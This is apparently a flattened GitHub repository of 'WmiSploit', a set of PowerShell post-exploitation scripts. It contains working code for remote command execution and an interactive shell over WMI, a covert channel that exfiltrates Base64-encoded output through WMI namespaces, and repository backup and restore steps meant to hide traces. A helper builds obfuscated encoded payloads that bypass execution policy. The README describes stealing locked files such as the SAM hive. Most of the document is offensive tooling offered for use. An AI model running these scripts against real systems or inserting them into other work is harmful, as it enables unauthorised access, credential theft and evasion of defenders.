├── .gitattributes ├── .gitignore ├── README.md ├── New-WmiSession.ps1 ├── Invoke-WmiCommand.ps1 ├── Enter-WmiShell.ps1 └── Invoke-WmiShadowCopy.ps1 /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # ========================= 18 | # Operating System Files 19 | # ========================= 20 | 21 | # OSX 22 | # ========================= 23 | 24 | .DS_Store 25 | .AppleDouble 26 | .LSOverride 27 | 28 | # Icon must ends with two \r. 29 | Icon 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear on external disk 35 | .Spotlight-V100 36 | .Trashes 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WmiSploit 2 | 3 | WmiSploit is a small set of PowerShell scripts that leverage the WMI service, for post-exploitation use. While the WmiSploit scripts do not have built-in pass-the-hash functionality, [Invoke-TokenManipulation](https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1) from the [PowerSploit](https://github.com/mattifestation/PowerSploit) framework should provide a similar effect. WmiSploit scripts don't write any new files to disk, but their activities can be recovered by a defender who knows where to look. These scripts have only been tested on a small set of Windows 8.1 and 7 machines, please let me know if they're not working for you or submit a pull request. 4 | 5 | ###New-WmiSession 6 | 7 | New-WmiSession creates a custom PowerShell object with all of the session information required for interacting with a remote computer. The ouput object is intended to be stored in a variable, which can then be piped as input to any of the WmiSploit scripts. 8 | 9 | ###Invoke-WmiShadowCopy 10 | 11 | Invoke-WmiShadowCopy creates a Volume Shadow Copy, links the Shadow Copy's Device Object to a directory in %TEMP%, then has the ability to get a file handle to locked files and copy them. The files being copied are exfiltrated through WMI by Base64 encoding the files, writing the Base64 strings to WMI namespaces, then querying those WMI namespaces from our attacker machine. After the file is exfiltrated, the shadow copy and its device object link are removed. 12 | 13 | ###Invoke-WmiCommand 14 | 15 | The basis for these WmiSploit scripts leverages the fact that a PowerShell process can be started by the WMI service using the -EncodedCommand option. However, the -EncodedCommand option can only accept 8190 characters, limiting a script's length and complexity. Invoke-WmiCommand is a way around this limitation. Invoke-WmiCommand will upload a script to the WMI namespaces. A waiting PowerShell session will pull the script out of the WMI namespaces and execute it using Invoke-Command. 16 | 17 | ###Enter-WmiShell 18 | 19 | Enter-WmiShell is the original WmiSploit script, largely based on Andrei Dumitrescu's python implementation; it provides a limited interactive shell for interacting with remote computers via WMI and retrieving CLI output. 20 | 21 | ##TODO 22 | ####Create-WmiRestorePoint 23 | ####Invoke-WmiRestoreComputer 24 | ####Remove-WmiRestorePoint 25 | 26 | Since these WmiSploit scripts do leave some forensics behind, I'm going to test some scripts that will create a new restore point before using the scripts, restore the computer to that point after running the tools, and then delete the created restore point. Certainly this will leave some forensics as well, but I like to try things. 27 | -------------------------------------------------------------------------------- /New-WmiSession.ps1: -------------------------------------------------------------------------------- 1 | function New-WmiSession { 2 | <# 3 | .SYNOPSIS 4 | 5 | Creates the standard set of inputs for use with WmiSploit cmdlets. 6 | 7 | Author: Jesse Davis (@secabstraction) 8 | License: BSD 3-Clause 9 | Required Dependencies: Out-EncodedCommand, Get-WmiChunk 10 | Optional Dependencies: New-WmiSession 11 | 12 | .DESCRIPTION 13 | 14 | New-WmiSession creates a custom PowerShell object that can be passed to the other WmiSploit cmdlets instead of typing in the same parameters every single time. 15 | 16 | .PARAMETER ComputerName 17 | 18 | Specifies the remote host to interact with. 19 | 20 | .PARAMETER UserName 21 | 22 | Specifies the Domain\UserName to create a credential object for authentication, will also accept a PSCredential object. If this parameter isn't used, the credentials of the current session will be used. (Credentials can be loaded via Runas or some other method.) 23 | 24 | .PARAMETER Namespace 25 | 26 | Specifies the WMI namespace to write data to for this session. 27 | 28 | .PARAMETER RandomNamespace 29 | 30 | Generates a random string to use for the Namespace. 31 | 32 | .PARAMETER Tag 33 | 34 | Specifies the tag to use to locate our data in the WMI Namespace. Must be an 8 character string. If this parameter isn't used a random string will be generated for you. 35 | 36 | .EXAMPLE 37 | 38 | PS C:\> New-WmiSession -ComputerName Server01 -UserName Domain\Administrator -Namespace EVIL -Tag NINJATAG 39 | 40 | Description 41 | ----------- 42 | This command sets up a basic session by specifying all the necessary parameters. If Namespace isn't specified, the 'root\default' namespace will be used. 43 | 44 | .EXAMPLE 45 | 46 | PS C:\> New-WmiSession -ComputerName Server01 -RandomNamespace 47 | 48 | Description 49 | ----------- 50 | This command would be used if you've already loaded your credentials into PowerShell with Runas or some other method. The Namespace and Tag will both be randomized. 51 | 52 | .EXAMPLE 53 | 54 | PS C:\> $Session1 = New-WmiSession -ComputerName Server01 -RandomNamespace 55 | PS C:\> $Session1 | Invoke-WmiShadowCopy -RemotePath C:\Windows\System32\SAM -LocalPath C:\tmp\SAM 56 | 57 | Description 58 | ----------- 59 | The first command sets up the WMI session parameters and stores them in a new object. The second command passes that object as input to Invoke-WmiShadowCopy. 60 | 61 | .NOTES 62 | 63 | TODO 64 | ---- 65 | 66 | Let me know 67 | 68 | .LINK 69 | 70 | http://www.secabstraction.com/ 71 | 72 | #> 73 | Param ( 74 | [Parameter(Position = 0, Mandatory = $True)] 75 | [String] 76 | $ComputerName, 77 | 78 | [Parameter(Position = 1)] 79 | [ValidateNotNull()] 80 | [System.Management.Automation.PSCredential] 81 | [System.Management.Automation.Credential()] 82 | $UserName = [System.Management.Automation.PSCredential]::Empty, 83 | 84 | [Parameter(Position = 2, ParameterSetName = 'Default')] 85 | [String] 86 | $Namespace = "root\default", 87 | 88 | [Parameter(Position = 2, ParameterSetName = 'Random')] 89 | [Switch] 90 | $RandomNamespace, 91 | 92 | [Parameter(Position = 3)] 93 | [String] 94 | $Tag = ([System.IO.Path]::GetRandomFileName()).Remove(8,4) 95 | 96 | ) # End Param 97 | 98 | if ( $PSBoundParameters['RandomNamespace'] ) 99 | { $Namespace = ([System.IO.Path]::GetRandomFileName()).Remove(8,4) } 100 | if ( $PSBoundParameters['UserName'] ) 101 | { $UserName = Get-Credential -Credential $UserName } 102 | 103 | #Check for existence of WMI Namespace specified by user 104 | $CheckNamespace = [bool](Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace root -Class __Namespace -ErrorAction SilentlyContinue | ` 105 | ? {$_.Name -eq $Namespace}) 106 | if ( !$CheckNamespace ) 107 | { $null = Set-WmiInstance -EnableAll -ComputerName $ComputerName -Credential $UserName -Namespace root -Class __Namespace -Arguments @{Name=$Namespace} } 108 | 109 | $Namespace = "root\" + $Namespace 110 | 111 | $props = @{ 112 | 'ComputerName' = $ComputerName 113 | 'UserName' = $UserName 114 | 'Namespace' = $Namespace 115 | 'Tag' = $Tag 116 | } 117 | New-Object -TypeName PSObject -Property $props 118 | } -------------------------------------------------------------------------------- /Invoke-WmiCommand.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-WmiCommand { 2 | <# 3 | .SYNOPSIS 4 | 5 | Runs short powershell scripts on a remote host using WMI for transport. 6 | 7 | .DESCRIPTION 8 | 9 | Invoke-WmiCommand encodes a short powershell script runs it on a remote host via WMI, 10 | stores the ouput to the WMI namespaces, and then retrieves the output from the WMI namespaces. 11 | 12 | .PARAMETER ComputerName 13 | 14 | Specifies the remote host to interact with. 15 | 16 | .PARAMETER ScriptBlock 17 | 18 | The powershell commands to run on the remote host. 19 | 20 | .EXAMPLE 21 | 22 | PS C:\> Invoke-WmiCommand -ComputerName Server01 -ScriptBlock { Get-Process } 23 | 24 | .NOTES 25 | 26 | Author: Jesse 'RBOT' Davis (@secabstraction) 27 | This script was inspired by the work of Andrei Dumitrescu's python/vbScript implementation. However, this PowerShell implementation doesn't 28 | write any files (vbScript) to disk. 29 | 30 | #> 31 | Param ( 32 | [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 33 | [String] 34 | $ComputerName, 35 | 36 | [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] 37 | [ValidateNotNullOrEmpty()] 38 | [ScriptBlock] 39 | $ScriptBlock, 40 | 41 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 42 | [ValidateNotNull()] 43 | [System.Management.Automation.PSCredential] 44 | [System.Management.Automation.Credential()] 45 | $UserName = [System.Management.Automation.PSCredential]::Empty, 46 | 47 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 48 | [String] 49 | $Namespace = "root\default", 50 | 51 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 52 | [String] 53 | $Tag = ([System.IO.Path]::GetRandomFileName()).Remove(8,4) 54 | 55 | ) # End Param 56 | 57 | $RemoteScript = @" 58 | `$WmiBackup = [IO.Path]::GetRandomFileName() 59 | iex "winmgmt /backup `$env:TEMP\`$WmiBackup" 60 | 61 | gwmi -n $Namespace -q "SELECT * FROM __Namespace WHERE Name LIKE '$Tag%' OR Name LIKE 'OUTPUT_READY'" | rwmi 62 | function Insert-Piece(`$i, `$piece) { 63 | `$Count = `$i.ToString() 64 | `$Zeros = "0" * (6 - `$Count.Length) 65 | `$Tag = "$Tag" + `$Zeros + `$Count 66 | `$Piece = `$Tag + `$piece + `$Tag 67 | swmi -en -n $Namespace -pa __Namespace -pu CreateOnly -arg @{Name=`$Piece} 68 | } 69 | `$Out = Invoke-Command -sc { $ScriptBlock } | Out-String 70 | `$WmiEncoded = ([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(`$Out))) -replace '\+',[char]0x00F3 -replace '/','_' -replace '=','' 71 | `$NumberOfPieces = [Math]::Floor(`$WmiEncoded.Length / 5500) 72 | if (`$WmiEncoded.Length -gt 5500) { 73 | `$LastPiece = `$WmiEncoded.Substring(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500)) 74 | `$WmiEncoded = `$WmiEncoded.Remove(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500)) 75 | for(`$i = 1; `$i -le `$NumberOfPieces; `$i++) { 76 | `$piece = `$WmiEncoded.Substring(0,5500) 77 | `$WmiEncoded = `$WmiEncoded.Substring(5500,(`$WmiEncoded.Length - 5500)) 78 | Insert-Piece `$i `$piece 79 | } 80 | `$WmiEncoded = `$LastPiece 81 | } 82 | Insert-Piece (`$NumberOfPieces + 1) `$WmiEncoded 83 | swmi -en -n $Namespace -pa __Namespace -pu CreateOnly -Arguments @{Name='OUTPUT_READY'} 84 | sleep 10 iex "winmgmt /restore `$env:TEMP\`$WmiBackup 1" 85 | del `$env:TEMP\`$WmiBackup 86 | "@ 87 | $RemoteScriptBlock = [scriptblock]::Create($RemoteScript) 88 | $EncodedPosh = Out-EncodedCommand -NoProfile -NonInteractive -ScriptBlock $RemoteScriptBlock 89 | $null = Invoke-WmiMethod -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Class Win32_process -Name create -ArgumentList $EncodedPosh 90 | 91 | # Wait for script to finish writing output to WMI namespaces 92 | $outputReady = "" 93 | do{$outputReady = Get-WmiObject -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace -Query "SELECT Name FROM __Namespace WHERE Name like 'OUTPUT_READY'"} 94 | until($outputReady) 95 | Get-WmiObject -EnableAllPrivileges -Credential $UserName -ComputerName $ComputerName -Namespace $Namespace -Query "SELECT * FROM __Namespace WHERE Name LIKE 'OUTPUT_READY'" | Remove-WmiObject 96 | 97 | # Retrieve cmd output written to WMI namespaces 98 | Get-WmiCommandOutput -UserName $UserName -ComputerName $ComputerName -Namespace $Namespace -Tag $Tag 99 | } 100 | 101 | function Get-WmiCommandOutput { 102 | <# 103 | .SYNOPSIS 104 | 105 | Retrieves Base64 encoded data stored in WMI namspaces and decodes it. 106 | 107 | Author: Jesse 'RBOT' Davis 108 | 109 | .DESCRIPTION 110 | 111 | Get-WmiShellOutput will query the WMI namespaces of specified remote host(s) for encoded data, decode the retrieved data and write it to StdOut. 112 | 113 | .NOTES 114 | 115 | .LINK 116 | 117 | #> 118 | Param ( 119 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 120 | [string] 121 | $ComputerName, 122 | 123 | [Parameter(ValueFromPipelineByPropertyName = $True)] 124 | [ValidateNotNull()] 125 | [System.Management.Automation.PSCredential] 126 | [System.Management.Automation.Credential()] 127 | $UserName = [System.Management.Automation.PSCredential]::Empty, 128 | 129 | [Parameter(ValueFromPipelineByPropertyName = $True)] 130 | [string] 131 | $Namespace = "root\default", 132 | 133 | [Parameter(ValueFromPipelineByPropertyName = $True)] 134 | [string] 135 | $Tag = ([System.IO.Path]::GetRandomFileName()).Remove(8,4) 136 | ) #End Param 137 | 138 | $GetOutput = @() 139 | $GetOutput = Get-WmiObject -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Namespace root\default -Query "SELECT Name FROM __Namespace WHERE Name like '$Tag%'" | % {$_.Name} | Sort-Object 140 | 141 | if ([bool]$GetOutput.Length) { 142 | 143 | $Reconstructed = New-Object Text.StringBuilder 144 | 145 | #Decode Base64 output 146 | foreach ($line in $GetOutput) { 147 | $WmiToBase64 = $line.Remove(0,14) -replace [char]0x00F3,[char]0x002B -replace '_','/' 148 | $WmiToBase64 = $WmiToBase64.Remove($WmiToBase64.Length - 14, 14) 149 | $null = $Reconstructed.Append($WmiToBase64) 150 | } 151 | if ($Reconstructed.ToString().Length % 4 -ne 0) { $null = $Reconstructed.Append(("===").Substring(0, 4 - ($Reconstructed.ToString().Length % 4))) } 152 | $DecodedOutput = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Reconstructed.ToString())) 153 | Write-Output $DecodedOutput 154 | } 155 | 156 | else #Decode single line Base64 157 | { 158 | $GetString = $GetOutput.Name 159 | $WmiToBase64 = $GetString.Remove(0,14) -replace [char]0x00F3,[char]0x002B -replace '_','/' 160 | if ($WmiToBase64.length % 4 -ne 0) { $WmiToBase64 += ("===").Substring(0,4 - ($WmiToBase64.Length % 4)) } 161 | $DecodedOutput = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($WmiToBase64)) 162 | Write-Output $DecodedOutput 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /Enter-WmiShell.ps1: -------------------------------------------------------------------------------- 1 | function Enter-WmiShell{ 2 | <# 3 | .SYNOPSIS 4 | 5 | Creates a limited* interactive prompt to interact with windows machines in a sneaky way, that is likely to go unnoticed/undetected. Use 6 | the command "exit" to close and cleanup the session; not doing so will leave data in the WMI namespaces. 7 | 8 | Author: Jesse Davis (@secabstraction) 9 | License: BSD 3-Clause 10 | Required Dependencies: Out-EncodedCommand, Get-WmiShellOutput 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Enter-WmiShell accepts cmd-type commands to be executed on remote hosts via WMI. The output of those commands is captured, Base64 encoded, 16 | and written to Namespaces in the WMI database. 17 | 18 | .PARAMETER ComputerName 19 | 20 | Specifies the remote host to interact with. 21 | 22 | .PARAMETER UserName 23 | 24 | Specifies the Domain\UserName to create a credential object for authentication, will also accept a PSCredential object. If this parameter 25 | isn't used, the credentials of the current session will be used. 26 | 27 | .EXAMPLE 28 | 29 | PS C:\> Enter-WmiShell -ComputerName Server01 -UserName Administrator 30 | 31 | [Server01]: WmiShell>whoami 32 | Server01\Administrator 33 | 34 | .NOTES 35 | 36 | This cmdlet was inspired by the work of Andrei Dumitrescu's python/vbScript implementation. However, this PowerShell implementation doesn't 37 | write any files (vbScript) to disk. 38 | 39 | TODO 40 | ---- 41 | 42 | Add upload/download functionality 43 | 44 | .LINK 45 | 46 | http://www.secabstraction.com/ 47 | 48 | #> 49 | Param ( 50 | [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 51 | [string] 52 | $ComputerName, 53 | 54 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 55 | [ValidateNotNull()] 56 | [System.Management.Automation.PSCredential] 57 | [System.Management.Automation.Credential()] 58 | $UserName = [System.Management.Automation.PSCredential]::Empty, 59 | 60 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 61 | [string] 62 | $Namespace = "root\default", 63 | 64 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 65 | [string] 66 | $Tag = ([System.IO.Path]::GetRandomFileName()).Remove(8,4) 67 | 68 | ) # End Param 69 | 70 | # Start WmiShell prompt 71 | $Command = "" 72 | do{ 73 | # Make a pretty prompt for the user to provide commands at 74 | Write-Host ("[" + $($ComputerName) + "]: WmiShell>") -NoNewline -ForegroundColor green 75 | $Command = Read-Host 76 | 77 | # Execute commands on remote host 78 | switch ($Command) { 79 | "exit" { 80 | Get-WmiObject -EnableAllPrivileges -Credential $UserName -ComputerName $ComputerName -Namespace $Namespace ` 81 | -Query "SELECT * FROM __Namespace WHERE Name LIKE '$Tag%' OR Name LIKE 'OUTPUT_READY'" | Remove-WmiObject 82 | } 83 | default { 84 | $RemoteScript = @" 85 | Get-WmiObject -Namespace $Namespace -Query "SELECT * FROM __Namespace WHERE Name LIKE '$Tag%' OR Name LIKE 'OUTPUT_READY'" | Remove-WmiObject 86 | `$WScriptShell = New-Object -c WScript.Shell 87 | function Insert-Piece(`$i, `$piece) { 88 | `$Count = `$i.ToString() 89 | `$Zeros = "0" * (6 - `$Count.Length) 90 | `$Tag = "$Tag" + `$Zeros + `$Count 91 | `$Piece = `$Tag + `$piece + `$Tag 92 | `$null = Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name=`$Piece} 93 | } 94 | `$ShellExec = `$WScriptShell.Exec("%comspec% /c" + "$Command") 95 | `$ShellOutput = `$ShellExec.StdOut.ReadAll() 96 | `$WmiEncoded = ([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$ShellOutput))) -replace '\+',[char]0x00F3 -replace '/','_' -replace '=','' 97 | `$NumberOfPieces = [Math]::Floor(`$WmiEncoded.Length / 5500) 98 | if (`$WmiEncoded.Length -gt 5500) { 99 | `$LastPiece = `$WmiEncoded.Substring(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500)) 100 | `$WmiEncoded = `$WmiEncoded.Remove(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500)) 101 | for(`$i = 1; `$i -le `$NumberOfPieces; `$i++) { 102 | `$piece = `$WmiEncoded.Substring(0,5500) 103 | `$WmiEncoded = `$WmiEncoded.Substring(5500,(`$WmiEncoded.Length - 5500)) 104 | Insert-Piece `$i `$piece 105 | } 106 | `$WmiEncoded = `$LastPiece 107 | } 108 | Insert-Piece (`$NumberOfPieces + 1) `$WmiEncoded 109 | Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name='OUTPUT_READY'} 110 | "@ 111 | $ScriptBlock = [scriptblock]::Create($RemoteScript) 112 | $EncodedPosh = Out-EncodedCommand -NoProfile -NonInteractive -ScriptBlock $ScriptBlock 113 | $null = Invoke-WmiMethod -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Class win32_process -Name create -ArgumentList $EncodedPosh 114 | 115 | # Wait for script to finish writing output to WMI namespaces 116 | $outputReady = "" 117 | do{$outputReady = Get-WmiObject -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace -Query "SELECT Name FROM __Namespace WHERE Name like 'OUTPUT_READY'"} 118 | until($outputReady) 119 | Get-WmiObject -EnableAllPrivileges -Credential $UserName -ComputerName $ComputerName -Namespace $Namespace -Query "SELECT * FROM __Namespace WHERE Name LIKE 'OUTPUT_READY'" | Remove-WmiObject 120 | 121 | # Retrieve cmd output written to WMI namespaces 122 | Get-WmiShellOutput -UserName $UserName -ComputerName $ComputerName -Namespace $Namespace -Tag $Tag 123 | } 124 | } 125 | }until($Command -eq "exit") 126 | } 127 | 128 | function Get-WmiShellOutput{ 129 | <# 130 | .SYNOPSIS 131 | 132 | Retrieves Base64 encoded data stored in WMI namspaces and decodes it. 133 | 134 | Author: Jesse Davis (@secabstraction) 135 | License: BSD 3-Clause 136 | Required Dependencies: None 137 | Optional Dependencies: None 138 | 139 | .DESCRIPTION 140 | 141 | Get-WmiShellOutput will query the WMI namespaces of specified remote host(s) for encoded data, decode the retrieved data and write it to StdOut. 142 | 143 | .PARAMETER ComputerName 144 | 145 | Specifies the remote host to retrieve data from. 146 | 147 | .PARAMETER UserName 148 | 149 | Specifies the Domain\UserName to create a credential object for authentication, will also accept a PSCredential object. If this parameter 150 | isn't used, the credentials of the current session will be used. 151 | 152 | .EXAMPLE 153 | 154 | PS C:\> Get-WmiShellOutput -ComputerName Server01 -UserName Administrator 155 | 156 | .NOTES 157 | 158 | This cmdlet was inspired by the work of Andrei Dumitrescu's python implementation. 159 | 160 | .LINK 161 | 162 | http://www.secabstraction.com/ 163 | 164 | #> 165 | Param ( 166 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 167 | [string[]] 168 | $ComputerName, 169 | 170 | [Parameter(ValueFromPipelineByPropertyName = $True)] 171 | [ValidateNotNull()] 172 | [System.Management.Automation.PSCredential] 173 | [System.Management.Automation.Credential()] 174 | $UserName = [System.Management.Automation.PSCredential]::Empty, 175 | 176 | [Parameter(ValueFromPipelineByPropertyName = $True)] 177 | [string] 178 | $Namespace = "root\default", 179 | 180 | [Parameter(ValueFromPipelineByPropertyName = $True)] 181 | [string] 182 | $Tag = ([System.IO.Path]::GetRandomFileName()).Remove(8,4) 183 | ) #End Param 184 | 185 | $GetOutput = @() 186 | $GetOutput = Get-WmiObject -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Namespace root\default ` 187 | -Query "SELECT Name FROM __Namespace WHERE Name like '$Tag%'" | % {$_.Name} | Sort-Object 188 | 189 | if ([BOOL]$GetOutput.Length) { 190 | 191 | $Reconstructed = New-Object System.Text.StringBuilder 192 | 193 | #Decode Base64 output 194 | foreach ($line in $GetOutput) { 195 | $WmiToBase64 = $line.Remove(0,14) -replace [char]0x00F3,[char]0x002B -replace '_','/' 196 | $WmiToBase64 = $WmiToBase64.Remove($WmiToBase64.Length - 14, 14) 197 | $null = $Reconstructed.Append($WmiToBase64) 198 | } 199 | if ($Reconstructed.ToString().Length % 4 -ne 0) { $null = $Reconstructed.Append(("===").Substring(0, 4 - ($Reconstructed.ToString().Length % 4))) } 200 | $Decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Reconstructed.ToString())) 201 | Write-Host $Decoded 202 | } 203 | 204 | else { #Decode single line Base64 205 | $GetString = $GetOutput.Name 206 | $WmiToBase64 = $GetString.Remove(0,14) -replace [char]0x00F3,[char]0x002B -replace '_','/' 207 | if ($WmiToBase64.length % 4 -ne 0) { $WmiToBase64 += ("===").Substring(0,4 - ($WmiToBase64.Length % 4)) } 208 | $DecodedOutput = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($WmiToBase64)) 209 | Write-Host $DecodedOutput 210 | } 211 | } 212 | 213 | function Out-EncodedCommand { 214 | <# 215 | .SYNOPSIS 216 | 217 | Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. 218 | 219 | PowerSploit Function: Out-EncodedCommand 220 | Author: Matthew Graeber (@mattifestation) 221 | License: BSD 3-Clause 222 | Required Dependencies: None 223 | Optional Dependencies: None 224 | 225 | .DESCRIPTION 226 | 227 | Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. 228 | 229 | .PARAMETER ScriptBlock 230 | 231 | Specifies a scriptblock containing your payload. 232 | 233 | .PARAMETER Path 234 | 235 | Specifies the path to your payload. 236 | 237 | .PARAMETER NoExit 238 | 239 | Outputs the option to not exit after running startup commands. 240 | 241 | .PARAMETER NoProfile 242 | 243 | Outputs the option to not load the Windows PowerShell profile. 244 | 245 | .PARAMETER NonInteractive 246 | 247 | Outputs the option to not present an interactive prompt to the user. 248 | 249 | .PARAMETER Wow64 250 | 251 | Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. 252 | 253 | .PARAMETER WindowStyle 254 | 255 | Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. 256 | 257 | .PARAMETER EncodedOutput 258 | 259 | Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid. 260 | 261 | .EXAMPLE 262 | 263 | C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} 264 | 265 | powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() 266 | 267 | .EXAMPLE 268 | 269 | C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput 270 | 271 | powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= 272 | 273 | Description 274 | ----------- 275 | Execute the above payload for the lulz. >D 276 | 277 | .NOTES 278 | 279 | This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) 280 | 281 | .LINK 282 | 283 | http://www.exploit-monday.com 284 | #> 285 | 286 | [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( 287 | [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] 288 | [ValidateNotNullOrEmpty()] 289 | [ScriptBlock] 290 | $ScriptBlock, 291 | 292 | [Parameter(Position = 0, ParameterSetName = 'FilePath' )] 293 | [ValidateNotNullOrEmpty()] 294 | [String] 295 | $Path, 296 | 297 | [Switch] 298 | $NoExit, 299 | 300 | [Switch] 301 | $NoProfile, 302 | 303 | [Switch] 304 | $NonInteractive, 305 | 306 | [Switch] 307 | $Wow64, 308 | 309 | [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] 310 | [String] 311 | $WindowStyle, 312 | 313 | [Switch] 314 | $EncodedOutput 315 | ) 316 | 317 | if ($PSBoundParameters['Path']) 318 | { 319 | Get-ChildItem $Path -ErrorAction Stop | Out-Null 320 | $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) 321 | } 322 | else 323 | { 324 | $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) 325 | } 326 | 327 | $CompressedStream = New-Object IO.MemoryStream 328 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) 329 | $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) 330 | $DeflateStream.Dispose() 331 | 